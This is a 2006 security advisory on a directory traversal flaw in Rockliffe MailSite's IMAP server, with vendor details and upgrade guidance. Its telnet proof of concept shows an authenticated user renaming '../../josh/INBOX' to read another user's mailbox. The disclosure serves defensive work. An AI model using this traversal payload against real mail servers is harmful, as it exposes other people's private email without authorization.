Synopsis: Rockliffe's Mailsite Imap Directory Transversal Vulnerability.

Product: Rockliffe Mailsite
    http://www.rockliffe.com

Version: Confirmed on Mailsite < 6.1.22.1

Author: Josh Zlatin-Amishav

Date: January 4, 2006

Background:
Rockliffe MailSite secure email server software and MailSite MP secure email
gateways provide email server solutions and gateway email protection for 
businesses and service providers. Rockliffe has more than 3,000 customers 
hosting more than 15 million mailboxes worldwide.

Issue:
In working with researchers at Tenable Network Security, I have come across
a directory transversal flaw in the IMAP server. It is possible for an 
authenticated user to access any user's inbox via a RENAME command.

PoC:

josh@lab1:~$ telnet 10.0.0.5 143
Trying 10.0.0.5...
Connected to 10.0.0.5.
Escape character is '^]'.
* OK  MailSite IMAP4 Server 6.1.22.0 ready
a1 login joe pass
a1 OK LOGIN completed
a2 rename ../../josh/INBOX gotcha
a2 OK RENAME folder ../../josh/INBOX renamed to gotcha
a3 select gotcha
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* 0 EXISTS
* 0 RECENT
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)]
* OK [UNSEEN 0]
* OK [UIDVALIDITY 514563061] UIDs are valid
a3 OK [READ-WRITE] opened gotcha

user joe can now access the contents of user josh's INBOX directory.

Vendor notified: January 3, 2006 06:12AM

Vendor Response:
Contact your sales rep about purchasing Mailsite 7.0.3.1

Solution:
Mailsite fixed a buffer overun in the Mailsite IMAP server which also fixes
the directory transversal problem. Either upgrade to version 6.1.22 and install 
the hotfix (i.e. upgrade to 6.1.22.1), or install the latest version of 
Mailsite. The hotfix can be obtained at:

ftp://ftp.rockliffe.com/MailSite/6.1.22/Hotfixes/MailSiteServicePack.exe

References: http://www.rockliffe.com
References: http://zur.homelinux.com/Advisories/RockliffeMailsiteDirTransveral.txt